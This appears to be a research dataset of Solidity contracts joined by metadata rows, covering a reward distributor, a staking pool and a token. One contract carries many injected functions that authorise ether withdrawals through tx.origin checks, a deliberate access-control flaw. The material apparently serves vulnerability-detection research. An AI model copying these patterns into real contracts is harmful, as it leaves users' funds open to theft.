// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable FoxBank;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _FoxBank, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_FoxBank != address(0));
FoxBank = _FoxBank;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(FoxBank).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 91,203 | 10,593 |
01c1a4b4748a9ba2dd811115a23b1a772511b5fb3d8f2d3eb270016af602b561
| 15,397 |
.sol
|
Solidity
| false |
451141221
|
MANDO-Project/ge-sc
|
0adf91ac5bb0ffdb9152186ed29a5fc7b0c73836
|
experiments/ge-sc-data/source_code/access_control/buggy_curated/buggy_16.sol
| 3,986 | 14,272 |
pragma solidity ^0.5.11;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function bug_txorigin28(address owner_txorigin28) public{
require(tx.origin == owner_txorigin28);
}
function balanceOf(address tokenOwner) public view returns (uint256 balance);
function withdrawAll_txorigin34(address payable _recipient,address owner_txorigin34) public {
require(tx.origin == owner_txorigin34);
_recipient.transfer(address(this).balance);
}
function allowance(address tokenOwner, address spender) public view returns (uint256 remaining);
function sendto_txorigin21(address payable receiver, uint amount,address owner_txorigin21) public {
require (tx.origin == owner_txorigin21);
receiver.transfer(amount);
}
function transfer(address to, uint256 tokens) public returns (bool success);
function withdrawAll_txorigin10(address payable _recipient,address owner_txorigin10) public {
require(tx.origin == owner_txorigin10);
_recipient.transfer(address(this).balance);
}
function approve(address spender, uint256 tokens) public returns (bool success);
function withdrawAll_txorigin22(address payable _recipient,address owner_txorigin22) public {
require(tx.origin == owner_txorigin22);
_recipient.transfer(address(this).balance);
}
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
function bug_txorigin12(address owner_txorigin12) public{
require(tx.origin == owner_txorigin12);
}
function transferTo_txorigin35(address to, uint amount,address owner_txorigin35) public {
require(tx.origin == owner_txorigin35);
to.call.value(amount);
}
event Transfer(address indexed from, address indexed to, uint256 tokens);
function bug_txorigin40(address owner_txorigin40) public{
require(tx.origin == owner_txorigin40);
}
event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens);
}
contract Owned {
address payable public owner;
function sendto_txorigin33(address payable receiver, uint amount,address owner_txorigin33) public {
require (tx.origin == owner_txorigin33);
receiver.transfer(amount);
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
function transferTo_txorigin11(address to, uint amount,address owner_txorigin11) public {
require(tx.origin == owner_txorigin11);
to.call.value(amount);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address payable newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function sendto_txorigin1(address payable receiver, uint amount,address owner_txorigin1) public {
require (tx.origin == owner_txorigin1);
receiver.transfer(amount);
}
}
contract ExclusivePlatform is ERC20Interface, Owned {
using SafeMath for uint256;
mapping (address => uint256) balances;
function withdrawAll_txorigin18(address payable _recipient,address owner_txorigin18) public {
require(tx.origin == owner_txorigin18);
_recipient.transfer(address(this).balance);
}
mapping (address => mapping (address => uint256)) allowed;
function sendto_txorigin29(address payable receiver, uint amount,address owner_txorigin29) public {
require (tx.origin == owner_txorigin29);
receiver.transfer(amount);
}
string public name = "Exclusive Platform";
function withdrawAll_txorigin6(address payable _recipient,address owner_txorigin6) public {
require(tx.origin == owner_txorigin6);
_recipient.transfer(address(this).balance);
}
string public symbol = "XPL";
function bug_txorigin16(address owner_txorigin16) public{
require(tx.origin == owner_txorigin16);
}
uint256 public decimals = 8;
function bug_txorigin24(address owner_txorigin24) public{
require(tx.origin == owner_txorigin24);
}
uint256 public _totalSupply;
function sendto_txorigin5(address payable receiver, uint amount,address owner_txorigin5) public {
require (tx.origin == owner_txorigin5);
receiver.transfer(amount);
}
uint256 public XPLPerEther = 8000000e8;
uint256 public minimumBuy = 1 ether / 100;
function transferTo_txorigin15(address to, uint amount,address owner_txorigin15) public {
require(tx.origin == owner_txorigin15);
to.call.value(amount);
}
bool public crowdsaleIsOn = true;
//mitigates the ERC20 short address attack
//suggested by izqui9 @ http://bit.ly/2NMMCNv
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
constructor () public {
_totalSupply = 10000000000e8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function withdrawAll_txorigin2(address payable _recipient,address owner_txorigin2) public {
require(tx.origin == owner_txorigin2);
_recipient.transfer(address(this).balance);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function sendto_txorigin17(address payable receiver, uint amount,address owner_txorigin17) public {
require (tx.origin == owner_txorigin17);
receiver.transfer(amount);
}
function updateXPLPerEther(uint _XPLPerEther) public onlyOwner {
emit NewPrice(owner, XPLPerEther, _XPLPerEther);
XPLPerEther = _XPLPerEther;
}
function sendto_txorigin37(address payable receiver, uint amount,address owner_txorigin37) public {
require (tx.origin == owner_txorigin37);
receiver.transfer(amount);
}
function switchCrowdsale() public onlyOwner {
crowdsaleIsOn = !(crowdsaleIsOn);
}
function transferTo_txorigin3(address to, uint amount,address owner_txorigin3) public {
require(tx.origin == owner_txorigin3);
to.call.value(amount);
}
function getBonus(uint256 _amount) internal view returns (uint256) {
if (_amount >= XPLPerEther.mul(5)) {
return ((20 * _amount).div(100)).add(_amount);
} else if (_amount >= XPLPerEther) {
return ((5 * _amount).div(100)).add(_amount);
}
return _amount;
}
function sendto_txorigin9(address payable receiver, uint amount,address owner_txorigin9) public {
require (tx.origin == owner_txorigin9);
receiver.transfer(amount);
}
function () payable external {
require(crowdsaleIsOn && msg.value >= minimumBuy);
uint256 totalBuy = (XPLPerEther.mul(msg.value)).div(1 ether);
totalBuy = getBonus(totalBuy);
doTransfer(owner, msg.sender, totalBuy);
}
function sendto_txorigin25(address payable receiver, uint amount,address owner_txorigin25) public {
require (tx.origin == owner_txorigin25);
receiver.transfer(amount);
}
function distribute(address[] calldata _addresses, uint256 _amount) external {
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amount);}
}
function transferTo_txorigin19(address to, uint amount,address owner_txorigin19) public {
require(tx.origin == owner_txorigin19);
to.call.value(amount);
}
function distributeWithAmount(address[] calldata _addresses, uint256[] calldata _amounts) external {
require(_addresses.length == _amounts.length);
for (uint i = 0; i < _addresses.length; i++) {transfer(_addresses[i], _amounts[i]);}
}
function withdrawAll_txorigin26(address payable _recipient,address owner_txorigin26) public {
require(tx.origin == owner_txorigin26);
_recipient.transfer(address(this).balance);
}
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param _from The address holding the tokens being transferred
/// @param _to The address of the recipient
/// @param _amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function doTransfer(address _from, address _to, uint _amount) internal {
// Do not allow transfer to 0x0 or the token contract itself
require((_to != address(0)));
require(_amount <= balances[_from]);
balances[_from] = balances[_from].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
}
function bug_txorigin20(address owner_txorigin20) public{
require(tx.origin == owner_txorigin20);
}
function balanceOf(address _owner) view public returns (uint256) {
return balances[_owner];
}
function bug_txorigin32(address owner_txorigin32) public{
require(tx.origin == owner_txorigin32);
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
doTransfer(msg.sender, _to, _amount);
return true;
}
function withdrawAll_txorigin38(address payable _recipient,address owner_txorigin38) public {
require(tx.origin == owner_txorigin38);
_recipient.transfer(address(this).balance);
}
/// @return The balance of `_owner`
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(allowed[_from][msg.sender] >= _amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
doTransfer(_from, _to, _amount);
return true;
}
function bug_txorigin4(address owner_txorigin4) public{
require(tx.origin == owner_txorigin4);
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param _spender The address of the account able to transfer the tokens
/// @param _amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address _spender, uint256 _amount) public returns (bool success) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function transferTo_txorigin7(address to, uint amount,address owner_txorigin7) public {
require(tx.origin == owner_txorigin7);
to.call.value(amount);
}
function allowance(address _owner, address _spender) view public returns (uint256) {
return allowed[_owner][_spender];
}
function transferTo_txorigin23(address to, uint amount,address owner_txorigin23) public {
require(tx.origin == owner_txorigin23);
to.call.value(amount);
}
function transferEther(address payable _receiver, uint256 _amount) public onlyOwner {
require(_amount <= address(this).balance);
emit TransferEther(address(this), _receiver, _amount);
_receiver.transfer(_amount);
}
function withdrawAll_txorigin14(address payable _recipient,address owner_txorigin14) public {
require(tx.origin == owner_txorigin14);
_recipient.transfer(address(this).balance);
}
function withdrawFund() onlyOwner public {
uint256 balance = address(this).balance;
owner.transfer(balance);
}
function withdrawAll_txorigin30(address payable _recipient,address owner_txorigin30) public {
require(tx.origin == owner_txorigin30);
_recipient.transfer(address(this).balance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
_totalSupply = _totalSupply.sub(_value);
emit Burn(burner, _value);
}
function bug_txorigin8(address owner_txorigin8) public{
require(tx.origin == owner_txorigin8);
}
function getForeignTokenBalance(address tokenAddress, address who) view public returns (uint){
ERC20Interface token = ERC20Interface(tokenAddress);
uint bal = token.balanceOf(who);
return bal;
}
function transferTo_txorigin39(address to, uint amount,address owner_txorigin39) public {
require(tx.origin == owner_txorigin39);
to.call.value(amount);
}
function withdrawForeignTokens(address tokenAddress) onlyOwner public returns (bool) {
ERC20Interface token = ERC20Interface(tokenAddress);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function bug_txorigin36(address owner_txorigin36) public{
require(tx.origin == owner_txorigin36);
}
function transferTo_txorigin27(address to, uint amount,address owner_txorigin27) public {
require(tx.origin == owner_txorigin27);
to.call.value(amount);
}
event TransferEther(address indexed _from, address indexed _to, uint256 _value);
function transferTo_txorigin31(address to, uint amount,address owner_txorigin31) public {
require(tx.origin == owner_txorigin31);
to.call.value(amount);
}
event NewPrice(address indexed _changer, uint256 _lastPrice, uint256 _newPrice);
function sendto_txorigin13(address payable receiver, uint amount,address owner_txorigin13) public {
require (tx.origin == owner_txorigin13);
receiver.transfer(amount);
}
event Burn(address indexed _burner, uint256 value);
}
| 132,983 | 10,594 |
61673a98de79a0acc28ed486983332943b857643786fc9a24b0272cf63ca5273
| 14,373 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x447155D5dDe76AfdfcFA6617453ACfb969E35eA4/contract.sol
| 3,590 | 13,833 |
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Initializable {
bool private initialized;
bool private initializing;
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
function isConstructor() private view returns (bool) {
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
uint256[50] private ______gap;
}
contract StakePool is Initializable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 public depositToken;
address public feeTo;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
function initialize(address _token, address _feeTo) public initializer {
depositToken = IERC20(_token);
feeTo = address(_feeTo);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function _stake(uint256 amount) internal {
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
depositToken.safeTransferFrom(msg.sender, address(this), amount);
}
function _withdraw(uint256 amount) internal {
if (msg.sender != address(feeTo)) {
uint256 feeamount = amount.div(20);
uint256 finalamount = (amount - feeamount);
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, finalamount);
depositToken.safeTransfer(feeTo, feeamount);
} else {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
depositToken.safeTransfer(msg.sender, amount);
}
}
function _withdrawFeeOnly(uint256 amount) internal {
uint256 feeamount = amount.div(20);
_totalSupply = _totalSupply.sub(feeamount);
_balances[msg.sender] = _balances[msg.sender].sub(feeamount);
depositToken.safeTransfer(feeTo, feeamount);
}
function feeToUpdate(address _feeTo) public {
require(msg.sender == feeTo, "feeTo: wut?");
feeTo = _feeTo;
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract BUSDPOOL is StakePool {
IERC20 public rewardToken;
uint256 public halvingPeriod = 604800;
uint256 public totalreward;
uint256 public starttime;
uint256 public stakingtime;
uint256 public eraPeriod = 0;
uint256 public rewardRate = 0;
uint256 public lastUpdateTime;
uint256 public rewardPerTokenStored;
uint256 public totalRewards = 0;
mapping(address => uint256) public userRewardPerTokenPaid;
mapping(address => uint256) public rewards;
event RewardAdded(uint256 reward);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event RewardPaid(address indexed user, uint256 reward);
modifier updateReward(address account) {
rewardPerTokenStored = rewardPerToken();
lastUpdateTime = lastTimeRewardApplicable();
if (account != address(0)) {
rewards[account] = earned(account);
userRewardPerTokenPaid[account] = rewardPerTokenStored;
}
_;
}
constructor(address _depositToken, address _rewardToken, uint256 _totalreward, uint256 _starttime, uint256 _stakingtime) public {
super.initialize(_depositToken, msg.sender);
rewardToken = IERC20(_rewardToken);
starttime = _starttime;
stakingtime = _stakingtime;
notifyRewardAmount(_totalreward.mul(50).div(100));
}
function lastTimeRewardApplicable() public view returns (uint256) {
return Math.min(block.timestamp, eraPeriod);
}
function rewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return
rewardPerTokenStored.add(lastTimeRewardApplicable()
.sub(lastUpdateTime)
.mul(rewardRate)
.mul(1e18)
.div(totalSupply()));
}
function earned(address account) public view returns (uint256) {
return
balanceOf(account)
.mul(rewardPerToken().sub(userRewardPerTokenPaid[account]))
.div(1e18)
.add(rewards[account]);
}
function stake(uint256 amount) public updateReward(msg.sender) checkhalve checkStart{
require(amount > 0, "ERROR: Cannot stake 0 Token");
super._stake(amount);
emit Staked(msg.sender, amount);
}
function withdraw(uint256 amount) public updateReward(msg.sender) checkhalve checkStart stakingTime{
require(amount > 0, "ERROR: Cannot withdraw 0");
super._withdraw(amount);
emit Withdrawn(msg.sender, amount);
}
function exit() external stakingTime{
withdraw(balanceOf(msg.sender));
_getRewardInternal();
}
function getReward() public updateReward(msg.sender) checkhalve checkStart stakingTime{
uint256 reward = earned(msg.sender);
uint256 bal = balanceOf(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
if (bal > 0) {
super._withdrawFeeOnly(bal);
}
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
function _getRewardInternal() internal updateReward(msg.sender) checkhalve checkStart{
uint256 reward = earned(msg.sender);
if (reward > 0) {
rewards[msg.sender] = 0;
rewardToken.safeTransfer(msg.sender, reward);
emit RewardPaid(msg.sender, reward);
totalRewards = totalRewards.add(reward);
}
}
modifier checkhalve(){
if (block.timestamp >= eraPeriod) {
totalreward = totalreward.mul(50).div(100);
rewardRate = totalreward.div(halvingPeriod);
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(totalreward);
}
_;
}
modifier checkStart(){
require(block.timestamp > starttime,"ERROR: Not start");
_;
}
modifier stakingTime(){
require(block.timestamp >= stakingtime,"ERROR: Withdrawals not allowed yet");
_;
}
function notifyRewardAmount(uint256 reward)
internal
updateReward(address(0))
{
if (block.timestamp >= eraPeriod) {
rewardRate = reward.div(halvingPeriod);
} else {
uint256 remaining = eraPeriod.sub(block.timestamp);
uint256 leftover = remaining.mul(rewardRate);
rewardRate = reward.add(leftover).div(halvingPeriod);
}
totalreward = reward;
lastUpdateTime = block.timestamp;
eraPeriod = block.timestamp.add(halvingPeriod);
emit RewardAdded(reward);
}
}
| 255,213 | 10,595 |
495a8aafc3d643a9d56fa98f3f43a843327fc685bb3e9fcd54c442e6ad527df1
| 20,133 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x72aa58a6bc3efc77cc8fe89b73bad27b468910e9.sol
| 5,500 | 19,851 |
pragma solidity ^0.5.0;
contract EIP20Interface {
uint256 public totalSupply;
uint256 public MaxSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function sub0(uint x, uint y) internal pure returns (uint) {
if(x>y){
return x-y;
}else{
return 0;
}
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract HelixNebula is EIP20Interface {
using SafeMath for uint;
address payable wallet;
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
uint public ReleaseTime;
bool public TsafeGuard=true;
bool public TFsafeGuard=true;
bool public LockLiquidity=false;
address payable public owner;
address public Uniswap_Address; //This address is used for locking the liquidity in uniswap
struct BalanceTime {
uint ExpireTime;
address adr;
}
struct LockedAddress{
uint ExpireTime;
address adr;
}
BalanceTime[] public StableBalancesTime;
LockedAddress[] public LockedAddresses;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function LockAddress(uint _days) public{
for(uint i=0;i<LockedAddresses.length;i++){
if(LockedAddresses[i].adr==msg.sender){
if(LockedAddresses[i].ExpireTime>block.timestamp){
LockedAddresses[i].ExpireTime=LockedAddresses[i].ExpireTime + _days*24*3600;
}else{
LockedAddresses[i].ExpireTime=block.timestamp + _days*24*3600;
}
return;
}
}
